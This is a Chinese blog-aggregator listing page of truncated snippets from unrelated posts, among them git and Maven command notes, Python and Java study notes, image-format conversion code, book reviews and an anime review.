    ###用习惯了idea总是不记得git的一些常见命令，需要用到的时候总是担心旁边站了人~~~记个笔记@_@，告诉自己看笔记不丢人初始化初始化一个新的Git仓库gitinit配置配置用户信息gitconfig--globaluser.name"YourName"gitconfig--globaluser.email"[email protected]"基本操作克隆远程仓库gitclone查看
  • 直抒《紫罗兰永恒花园外传》 雷姆的黑色童话
    没看过《紫罗兰永恒花园》的我莫名的看完了《紫罗兰永恒花园外传》，又莫名的被故事中的姐妹之情狠狠地感动了的一把。感动何在：困苦中相依为命的姐妹二人被迫分离，用一个人的自由换取另一个人的幸福。之后，虽相隔不知几许依旧心心念念彼此牵挂。这种深深的姐妹情谊就是令我为之动容的所在。贝拉和泰勒分别影片开始，海天之间一个孩童凭栏眺望，手中拿着折旧的信纸。镜头一转，挑灯伏案的薇尔莉特正在打字机前奋笔疾书。这些片段
  • 509. 斐波那契数(每日一题) lzyprime
    lzyprime博客(github)创建时间：2021.01.04qq及邮箱：2383518170leetcode笔记题目描述斐波那契数，通常用F(n)表示，形成的序列称为斐波那契数列。该数列由0和1开始，后面的每一项数字都是前面两项数字的和。也就是：F(0)=0，F(1)=1F(n)=F(n-1)+F(n-2)，其中n>1给你n，请计算F(n)。示例1：输入：2输出：1解释：F(2)=F(1)+
  • 拥有断舍离的心态，过精简生活--《断舍离》读书笔记 爱吃丸子的小樱桃
    不知不觉间房间里的东西越来越多，虽然摆放整齐，但也时常会觉得空间逼仄，令人心生烦闷。抱着断舍离的态度，我开始阅读《断舍离》这本书，希望从书中能找到一些有效的方法，帮助我实现空间、物品上的断舍离。《断舍离》是日本作家山下英子通过自己的经历、思考和实践总结而成的，整体内涵也从刚开始的私人生活哲学的“断舍离”升华成了“人生实践哲学”，接着又成为每个人都能实行的“改变人生的断舍离”，从“哲学”逐渐升华成“
  • 四章-32-点要素的聚合 彩云飘过
    本文基于腾讯课堂老胡的课《跟我学Openlayers--基础实例详解》做的学习笔记，使用的openlayers5.3.xapi。源码见1032.html，对应的官网示例https://openlayers.org/en/latest/examples/cluster.htmlhttps://openlayers.org/en/latest/examples/earthquake-clusters.
  • 高端密码学院笔记285 柚子_b4b4
    高端幸福密码学院（高级班）幸福使者：李华第（598）期《幸福》之回归内在深层生命原动力基础篇——揭秘“激励”成长的喜悦心理案例分析主讲：刘莉一，知识扩充:成功=艰苦劳动+正确方法+少说空话。贪图省力的船夫，目标永远下游。智者的梦再美，也不如愚人实干的脚印。幸福早课堂2020.10.16星期五一笔记:1，重视和珍惜的前提是知道它的价值非常重要，当你珍惜了，你就真正定下来，真正的学到身上。2，大家需要
  • Day17笔记-高阶函数 ~在杰难逃~ Python笔记python开发语言pycharm数据分析
    高阶函数【重点掌握】函数的本质：函数是一个变量，函数名是一个变量名，一个函数可以作为另一个函数的参数或返回值使用如果A函数作为B函数的参数，B函数调用完成之后，会得到一个结果，则B函数被称为高阶函数常用的高阶函数：map(),reduce(),filter(),sorted()1.map()map(func,iterable)，返回值是一个iterator【容器，迭代器】func:函数iterab
  • Day1笔记-Python简介&标识符和关键字&输入输出 ~在杰难逃~ Pythonpython开发语言大数据数据分析数据挖掘
    大家好，从今天开始呢，杰哥开展一个新的专栏，当然，数据分析部分也会不定时更新的，这个新的专栏主要是讲解一些Python的基础语法和知识，帮助0基础的小伙伴入门和学习Python，感兴趣的小伙伴可以开始认真学习啦！一、Python简介【了解】1.计算机工作原理编程语言就是用来定义计算机程序的形式语言。我们通过编程语言来编写程序代码，再通过语言处理程序执行向计算机发送指令，让计算机完成对应的工作，编程
  • node.js学习 小猿L node.jsnode.js学习vim
    node.js学习实操及笔记温故node.js，node.js学习实操过程及笔记~node.js学习视频node.js官网node.js中文网实操笔记githubcsdn笔记为什么学node.js可以让别人访问我们编写的网页为后续的框架学习打下基础，三大框架vuereactangular离不开node.jsnode.js是什么官网：node.js是一个开源的、跨平台的运行JavaScript的运行
  • 数据仓库——维度表一致性 墨染丶eye 背诵数据仓库
    数据仓库基础笔记思维导图已经整理完毕，完整连接为：数据仓库基础知识笔记思维导图维度一致性问题从逻辑层面来看，当一系列星型模型共享一组公共维度时，所涉及的维度称为一致性维度。当维度表存在不一致时，短期的成功难以弥补长期的错误。维度时确保不同过程中信息集成起来实现横向钻取货活动的关键。造成横向钻取失败的原因维度结构的差别，因为维度的差别，分析工作涉及的领域从简单到复杂，但是都是通过复杂的报表来弥补设计
  • 【Git】常见命令(仅笔记) 好想有猫猫 GitLinux学习笔记git笔记elasticsearchlinuxc++
    文章目录创建/初始化本地仓库添加本地仓库配置项提交文件查看仓库状态回退仓库查看日志分支删除文件暂存工作区代码远程仓库使用`.gitigore`文件让git不追踪一些文件标签创建/初始化本地仓库gitinit添加本地仓库配置项gitconfig-l#以列表形式显示配置项gitconfiguser.name"ljh"#配置user.namegitconfiguser.email"[email protected]
  • Python中深拷贝与浅拷贝的区别 yuxiaoyu.
    转自：http://blog.csdn.net/u014745194/article/details/70271868定义：在Python中对象的赋值其实就是对象的引用。当创建一个对象，把它赋值给另一个变量的时候，python并没有拷贝这个对象，只是拷贝了这个对象的引用而已。浅拷贝：拷贝了最外围的对象本身，内部的元素都只是拷贝了一个引用而已。也就是，把对象复制一遍，但是该对象中引用的其他对象我不复
  • 希望和悲伤都是照亮我们人生的一缕光 山月映雪
    我开始并不想读《云边有个小卖部》，但看到好几个学生就都在读这本书，为了了解学生的阅读实际，我就拿起这本书翻看起来。读了十几页，发现小说的语言中不时有一些粗俗的字眼，感觉自己读不下去了。小说一开始把云边镇风景写的特别的美好，我错判为脱离现实的鸳鸯蝴蝶派小说，对于人为制造的童话世界的人与物，我真的不太感兴趣，所以就没有再读了。有天在教室闲转，顺手又拿起了这本书看了起来，这次我才真的看进去了。这部小说除
  • 为什么你总是对下属不满意? ZhaoWu1050
    【ZhaoWu的听课笔记】大多数公司，都存在两种问题。我创业四年，更是体会深切。这两种问题就是：老板经常不满意下属的表现；下属总是不知道老板想要什么；虽然这两种问题普遍存在，其实解决方法并不复杂。这节课，我们再聊聊第一个问题：为什么老板经常不满意下属表现?其实，这背后也是一条管理常识。管理学家德鲁克先生早就说过：管理者的任务，不是去改变人。*来自《卓有成效的管理者》只是大多数老板和我一样，都是一边
  • 母亲节如何做小红书营销 美橙传媒
    小红书的一举一动引起了外界的高度关注。通过爆款笔记和流行话题，我们可以看到“干货”类型的内容在小红书中偏向实用的生活经验共享和生活指南非常受欢迎。根据运营社的分析，这种现象是由小红书用户心智和内容社区背后机制共同决定的。首先，小红书将使用“强搜索”逻辑为用户提供特定的“搜索场景”。在“我必须这样生活”中，大量使用了满足小红书站用户喜好和需求的内容。内容社区自制的高质量内容也吸引了寻找营销新途径的品
  • 读书笔记|《遇见孩子，遇见更好的自己》5 抹茶社长
    为人父母意味着放弃自己的过去，不要对以往没有实现的心愿耿耿于怀，只有这样，孩子们才能做回自己。985909803.jpg孩子在与父母保持亲密的同时更需要独立，唯有这样，孩子才会成为孩子，父母才会成其为父母。有耐心的人生往往更幸福，给孩子留点余地。认识到养儿育女是对耐心的考验。为失败做好心理准备，教会孩子控制情绪。了解自己的底线，说到底线，有一点很重要，父母之所以发脾气，真正的原因往往在于他们自己，
  • 基于Python给出的PDF文档转Markdown文档的方法 程序媛了了 pythonpdf开发语言
    注：网上有很多将Markdown文档转为PDF文档的方法，但是却很少有将PDF文档转为Markdown文档的方法。就算有，比如某些网站声称可以将PDF文档转为Markdown文档，尝试过，不太符合自己的要求，而且无法保证文档没有泄露风险。于是本人为了解决这个问题，借助GPT（能使用GPT镜像或者有条件直接使用GPT的，反正能调用GPT接口就行）生成Python代码来完成这个功能。笔记、代码难免存在
  • 语文主题教学学习笔记之87 东哥杂谈
    “语文主题教学”学习笔记之八十七（0125）今天继续学习小学语文主题教学的实践样态。板块三：教学中体现“书艺”味道。作为四大名著之一的《水浒传》，堪称我国文学宝库之经典。对从《水浒传》中摘选的单元，教师就要了解其原生态，即评书体特点。这也要求教师要了解一些常用的评书行话术语，然后在教学时适时地加入一些，让学生体味其文本中原有的特色。学生也要尽可能地通过朗读的方式，而不单是分析讲解的方式进行学习。细
  • 难念的经 轩辕一风
    今天中午从公司出来办事，站在马路旁边招手打的。不久来了一辆，路边停下，坐上，一转脸准备告诉师傅去哪的地址，惊呼，姚师傅？啊，咋是你？这也太巧了吧。在上海，出租车少说也有上万辆吧，而且地方这么大，况且在我出来的这个时间点上碰上了，有时候解释不了，就是那么巧。我和姚师傅咋认识的呢？因工作的原因，我要经常去外地出差，家住的离火车站比较远，每次都是打车过去。可能家在郊区的原因，平时门口公路上的出租车并不多
  • python tif转png Python与遥感 python开发语言
    importosfromosgeoimportgdalimportnumpyasnpfromPILimportImage#提取432三波段fromspectralimport*#输入文件夹路径defget_img(dataset_img):width=dataset_img.RasterXSize#获取行列数height=dataset_img.RasterYSizebands=dataset_i
  • Armv8.3 体系结构扩展--原文版 代码改变世界ctw ARM-TEE-Androidarmv8嵌入式arm架构安全架构芯片TrustzoneSecureboot
    快速链接:.ARMv8/ARMv9架构入门到精通-[目录]付费专栏-付费课程【购买须知】:个人博客笔记导读目录(全部)TheArmv8.3architectureextensionTheArmv8.3architectureextensionisanextensiontoArmv8.2.Itaddsmandatoryandoptionalarchitecturalfeatures.Somefeat
  • python怎么将png转为tif_png转tif weixin_39977276
    发国外的文章要求图片是tif，cmyk色彩空间的。大小尺寸还有要求。比如网上大神多，找到了一段代码，感谢！https://www.jianshu.com/p/ec2af4311f56https://github.com/KevinZc007/image2Tifimportjava.awt.image.BufferedImage;importjava.io.File;importjava.io.Fi
  • springboot+vue项目实战一-创建SpringBoot简单项目 苹果酱0567 面试题汇总与解析springboot后端java中间件开发语言
    这段时间抽空给女朋友搭建一个个人博客，想着记录一下建站的过程，就当做笔记吧。虽然复制zjblog只要一个小时就可以搞定一个网站，或者用cms系统，三四个小时就可以做出一个前后台都有的网站，而且想做成啥样也都行。但是就是要从新做，自己做的意义不一样，更何况，俺就是专门干这个的，嘿嘿嘿要做一个网站，而且从零开始，首先呢就是技术选型了，经过一番思量决定选择-SpringBoot做后端，前端使用Vue做一
  • tiff批量转png 诺有缸的高飞鸟 opencv图像处理pythonopencv图像处理
    目录写在前面代码完写在前面1、本文内容tiff批量转png2、平台/环境opencv,python3、转载请注明出处：https://blog.csdn.net/qq_41102371/article/details/132975023代码importnumpyasnpimportcv2importosdeffindAllFile(base):file_list=[]forroot,ds,fsin
  • 阅读《认知觉醒》读书笔记 就看看书
    本周阅读了周岭的《认知觉醒开启自我改变的原动力》，启发较多，故做读书笔记一则，留待学习。全书共八章，讲述了大脑、潜意识、元认知、专注力、学习力、行动力、情绪力及成本最低的成长之道。具体描述了大脑、焦虑、耐心、模糊、感性、元认知、自控力、专注力、情绪专注、学习专注、匹配、深度、关联、体系、打卡、反馈、休息、清晰、傻瓜、行动、心智宽带、单一视角、游戏心态、早起、冥想、阅读、写作、运动等相关知识点。大脑
  • 阅读笔记：阅读方法中的逻辑和转念 施吉涛
    聊聊一些阅读的方法论吧，别人家的读书方法刚开始想写，然后就不知道写什么了，因为作者写的非常的“精致”我有一种乡巴佬进城的感觉，看到精美的摆盘，精致的食材不知道该如何下口也就是《阅读的方法》，我们姑且来试一下强劲的大脑篇，第一节：逻辑通俗的来讲，也就是表达的排列和顺序，再进一步就是因果关系和关联实际上书已经看了大概一遍，但直到打算写一下笔记的时候，才发现作者讲的推理更多的是阅读的对象中呈现出的逻辑也
  • Java实现的基于模板的网页结构化信息精准抽取组件：HtmlExtractor yangshangchuan 信息抽取HtmlExtractor精准抽取信息采集
    HtmlExtractor是一个Java实现的基于模板的网页结构化信息精准抽取组件，本身并不包含爬虫功能，但可被爬虫或其他程序调用以便更精准地对网页结构化信息进行抽取。   HtmlExtractor是为大规模分布式环境设计的，采用主从架构，主节点负责维护抽取规则，从节点向主节点请求抽取规则，当抽取规则发生变化，主节点主动通知从节点，从而能实现抽取规则变化之后的实时动态生效。 如
  • java编程思想 -- 多态 百合不是茶 java多态详解
    一: 向上转型和向下转型 面向对象中的转型只会发生在有继承关系的子类和父类中（接口的实现也包括在这里）。父类：人    子类：男人向上转型： Person p = new Man() ; //向上转型不需要强制类型转化向下转型： Man man =
  • [自动数据处理]稳扎稳打,逐步形成自有ADP系统体系 comsci dp
          对于国内的IT行业来讲,虽然我们已经有了"两弹一星",在局部领域形成了自己独有的技术特征,并初步摆脱了国外的控制...但是前面的路还很长....       首先是我们的自动数据处理系统还无法处理很多高级工程...中等规模的拓扑分析系统也没有完成,更加复杂的
  • storm 自定义 日志文件 商人shang stormclusterlogback
    Storm中的日志级级别默认为INFO，并且，日志文件是根据worker号来进行区分的，这样，同一个log文件中的信息不一定是一个业务的，这样就会有以下两个需求出现： 1. 想要进行一些调试信息的输出 2. 调试信息或者业务日志信息想要输出到一些固定的文件中   不要怕，不要烦恼，其实Storm已经提供了这样的支持，可以通过自定义logback 下的 cluster.xml 来输
  • Extjs3 SpringMVC使用 @RequestBody 标签问题记录 21jhf
    springMVC使用 @RequestBody(required = false) UserVO userInfo 传递json对象数据，往往会出现http 415，400,500等错误，总结一下需要使用ajax提交json数据才行，ajax提交使用proxy，参数为jsonData，不能为params；另外，需要设置Content-type属性为json，代码如下： （由于使用了父类aaa
  • 一些排错方法 文强chu 方法
    1、java.lang.IllegalStateException: Class invariant violation at org.apache.log4j.LogManager.getLoggerRepository(LogManager.java:199)at org.apache.log4j.LogManager.getLogger(LogManager.java:228) at o
  • Swing中文件恢复我觉得很难 小桔子 swing
           我那个草了！老大怎么回事，怎么做项目评估的？只会说相信你可以做的，试一下，有的是时间！        用java开发一个图文处理工具，类似word，任意位置插入、拖动、删除图片以及文本等。文本框、流程图等，数据保存数据库，其余可保存pdf格式。ok,姐姐千辛万苦，
  • php 文件操作 aichenglong PHP读取文件写入文件
    1 写入文件 @$fp=fopen("$DOCUMENT_ROOT/order.txt", "ab"); if(!$fp){ echo "open file error" ; exit; } $outputstring="date:"." \t tire:".$tire."
  • MySQL的btree索引和hash索引的区别 AILIKES 数据结构mysql算法
    Hash 索引结构的特殊性，其 检索效率非常高，索引的检索可以一次定位，不像B-Tree 索引需要从根节点到枝节点，最后才能访问到页节点这样多次的IO访问，所以 Hash 索引的查询效率要远高于 B-Tree 索引。     可能很多人又有疑问了，既然 Hash 索引的效率要比 B-Tree 高很多，为什么大家不都用 Hash 索引而还要使用 B-Tree 索引呢
  • JAVA的抽象--- 接口 --实现 百合不是茶
    抽象 接口 实现接口   //抽象 类 ,方法   //定义一个公共抽象的类 ,并在类中定义一个抽象的方法体 抽象的定义使用abstract   abstract class A 定义一个抽象类 例如： //定义一个基类 public abstract class A{     //抽象类不能用来实例化，只能用来继承 //
  • JS变量作用域实例 bijian1013 作用域
    <script> var scope='hello'; function a(){ console.log(scope); //undefined var scope='world'; console.log(scope); //world console.log(b);
  • TDD实践（二） bijian1013 javaTDD
    实践题目：分解质因数 Step1： 单元测试： package com.bijian.study.factor.test; import java.util.Arrays; import junit.framework.Assert; import org.junit.Before; import org.junit.Test; import com.bijian.
  • [MongoDB学习笔记一]MongoDB主从复制 bit1129 mongodb
    MongoDB称为分布式数据库，主要原因是1.基于副本集的数据备份， 2.基于切片的数据扩容。副本集解决数据的读写性能问题，切片解决了MongoDB的数据扩容问题。   事实上，MongoDB提供了主从复制和副本复制两种备份方式，在MongoDB的主从复制和副本复制集群环境中，只有一台作为主服务器，另外一台或者多台服务器作为从服务器。 本文介绍MongoDB的主从复制模式，需要指明
  • 【HBase五】Java API操作HBase bit1129 hbase
    import java.io.IOException; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hbase.HBaseConfiguration; import org.apache.hadoop.hbase.HColumnDescriptor; import org.apache.ha
  • python调用zabbix api接口实时展示数据 ronin47
    zabbix api接口来进行展示。经过思考之后，计划获取如下内容：     1、  获得认证密钥     2、  获取zabbix所有的主机组     3、  获取单个组下的所有主机     4、  获取某个主机下的所有监控项  
  • jsp取得绝对路径 byalias 绝对路径
    在JavaWeb开发中，常使用绝对路径的方式来引入JavaScript和CSS文件，这样可以避免因为目录变动导致引入文件找不到的情况，常用的做法如下： 一、使用${pageContext.request.contextPath} 　　代码” ${pageContext.request.contextPath}”的作用是取出部署的应用程序名，这样不管如何部署，所用路径都是正确的。
  • Java定时任务调度：用ExecutorService取代Timer bylijinnan java
    《Java并发编程实战》一书提到的用ExecutorService取代Java Timer有几个理由，我认为其中最重要的理由是： 如果TimerTask抛出未检查的异常，Timer将会产生无法预料的行为。Timer线程并不捕获异常，所以 TimerTask抛出的未检查的异常会终止timer线程。这种情况下，Timer也不会再重新恢复线程的执行了;它错误的认为整个Timer都被取消了。此时，已经被
  • SQL 优化原则 chicony sql
    一、问题的提出 　在应用系统开发初期，由于开发数据库数据比较少，对于查询SQL语句，复杂视图的的编写等体会不出SQL语句各种写法的性能优劣，但是如果将应用系统提交实际应用后，随着数据库中数据的增加，系统的响应速度就成为目前系统需要解决的最主要的问题之一。系统优化中一个很重要的方面就是SQL语句的优化。对于海量数据，劣质SQL语句和优质SQL语句之间的速度差别可以达到上百倍，可见对于一个系统
  • java 线程弹球小游戏 CrazyMizzz java游戏
    最近java学到线程，于是做了一个线程弹球的小游戏，不过还没完善 这里是提纲 1.线程弹球游戏实现 1.实现界面需要使用哪些API类 JFrame JPanel JButton FlowLayout Graphics2D Thread Color ActionListener ActionEvent MouseListener Mouse
  • hadoop jps出现process information unavailable提示解决办法 daizj hadoopjps
    hadoop jps出现process information unavailable提示解决办法   jps时出现如下信息： 3019 -- process information unavailable3053 -- process information unavailable2985 -- process information unavailable2917 --
  • PHP图片水印缩放类实现 dcj3sjt126com PHP
    <?php class Image{ private $path; function __construct($path='./'){ $this->path=rtrim($path,'/').'/'; } //水印函数，参数：背景图，水印图，位置，前缀,TMD透明度 public function water($b,$l,$pos
  • IOS控件学习：UILabel常用属性与用法 dcj3sjt126com iosUILabel
    参考网站： http://shijue.me/show_text/521c396a8ddf876566000007 http://www.tuicool.com/articles/zquENb http://blog.csdn.net/a451493485/article/details/9454695 http://wiki.eoe.cn/page/iOS_pptl_artile_281
  • 完全手动建立maven骨架 eksliang javaeclipseWeb
    建一个 JAVA 项目 ： mvn archetype:create -DgroupId=com.demo -DartifactId=App [-Dversion=0.0.1-SNAPSHOT] [-Dpackaging=jar] 建一个 web 项目 ： mvn archetype:create -DgroupId=com.demo -DartifactId=web-a
  • 配置清单 gengzg 配置
    1、修改grub启动的内核版本 vi /boot/grub/grub.conf 将default 0改为1 拷贝mt7601Usta.ko到/lib文件夹 拷贝RT2870STA.dat到 /etc/Wireless/RT2870STA/文件夹 拷贝wifiscan到bin文件夹，chmod 775 /bin/wifiscan 拷贝wifiget.sh到bin文件夹，chm
  • Windows端口被占用处理方法 huqiji windows
    以下文章主要以80端口号为例，如果想知道其他的端口号也可以使用该方法..........................1、在windows下如何查看80端口占用情况?是被哪个进程占用?如何终止等.        这里主要是用到windows下的DOS工具,点击"开始"--"运行",输入&
  • 开源ckplayer 网页播放器， 跨平台(html5, mobile)，flv, f4v, mp4, rtmp协议. webm, ogg, m3u8 ！ 天梯梦 mobile
    CKplayer，其全称为超酷flv播放器，它是一款用于网页上播放视频的软件，支持的格式有：http协议上的flv,f4v,mp4格式，同时支持rtmp视频流格 式播放，此播放器的特点在于用户可以自己定义播放器的风格，诸如播放/暂停按钮，静音按钮，全屏按钮都是以外部图片接口形式调用，用户根据自己的需要制作 出播放器风格所需要使用的各个按钮图片然后替换掉原始风格里相应的图片就可以制作出自己的风格了，
  • 简单工厂设计模式 hm4123660 java工厂设计模式简单工厂模式
           简单工厂模式（Simple Factory Pattern）属于类的创新型模式，又叫静态工厂方法模式。是通过专门定义一个类来负责创建其他类的实例，被创建的实例通常都具有共同的父类。简单工厂模式是由一个工厂对象决定创建出哪一种产品类的实例。简单工厂模式是工厂模式家族中最简单实用的模式，可以理解为是不同工厂模式的一个特殊实现。
  • maven笔记 zhb8015 maven
    跳过测试阶段： mvn package -DskipTests 临时性跳过测试代码的编译： mvn package -Dmaven.test.skip=true   maven.test.skip同时控制maven-compiler-plugin和maven-surefire-plugin两个插件的行为，即跳过编译，又跳过测试。   指定测试类 mvn test
  • 非mapreduce生成Hfile，然后导入hbase当中 Stark_Summer maphbasereduceHfilepath实例
    最近一个群友的boss让研究hbase，让hbase的入库速度达到5w+/s，这可愁死了，4台个人电脑组成的集群，多线程入库调了好久，速度也才1w左右，都没有达到理想的那种速度，然后就想到了这种方式，但是网上多是用mapreduce来实现入库，而现在的需求是实时入库，不生成文件了，所以就只能自己用代码实现了，但是网上查了很多资料都没有查到，最后在一个网友的指引下，看了源码，最后找到了生成Hfile
  • jsp web tomcat 编码问题 王新春 tomcatjsppageEncode
    今天配置jsp项目在tomcat上，windows上正常，而linux上显示乱码，最后定位原因为tomcat 的server.xml 文件的配置，添加 URIEncoding 属性： <Connector port="8080" protocol="HTTP/1.1" connectionTi
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他